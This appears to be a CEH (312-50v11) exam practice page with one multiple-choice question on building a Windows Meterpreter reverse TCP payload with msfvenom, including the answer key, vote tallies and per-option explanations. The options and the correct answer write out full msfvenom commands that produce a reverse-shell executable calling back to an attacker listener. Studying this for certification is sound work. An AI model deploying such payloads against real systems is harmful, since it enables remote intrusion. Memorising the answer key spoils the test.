nerdexam
EC-Council

312-50V11 · Question #861

What is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

The correct answer is C. msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe >. MSFvenom requires LHOST (the attacker's listening IP) for reverse payloads, and -f exe with output redirection to produce a deployable Windows executable.

System Hacking

Question

What is the correct way of using MSFvenom to generate a reverse TCP shellcode for windows?

Options

  • Amsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c
  • Bmsfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c
  • Cmsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe >
  • Dmsfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe >

How the community answered

(29 responses)
  • A
    7% (2)
  • B
    10% (3)
  • C
    79% (23)
  • D
    3% (1)

Why each option

MSFvenom requires LHOST (the attacker's listening IP) for reverse payloads, and -f exe with output redirection to produce a deployable Windows executable.

Amsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f c

The -f c flag generates shellcode as a C-language byte array suitable for embedding in exploit code, not a standalone Windows executable that can be directly executed on a target.

Bmsfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f c

RHOST specifies the remote/target host and is used for bind payloads or module options, not for reverse TCP payloads where the target initiates the connection back to the attacker.

Cmsfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.30 LPORT=4444 -f exe >Correct

For a reverse TCP payload, LHOST specifies the attacker's IP address where the target will connect back, which is correct here. The -f exe format flag instructs MSFvenom to produce a standalone Windows PE executable, and the trailing > operator redirects the binary output to a file on disk for deployment.

Dmsfvenom -p windows/meterpreter/reverse_tcp RHOST=10.10.10.30 LPORT=4444 -f exe >

RHOST is incorrect for reverse TCP payloads for the same reason as option B - the attacker's IP must be specified with LHOST so the generated payload knows where to connect back.

Concept tested: MSFvenom reverse TCP payload generation flags

Source: https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html

Topics

#MSFvenom#reverse TCP shellcode#meterpreter#payload generation

Community Discussion

No community discussion yet for this question.

Sign up to join the discussion
Full 312-50V11 Practice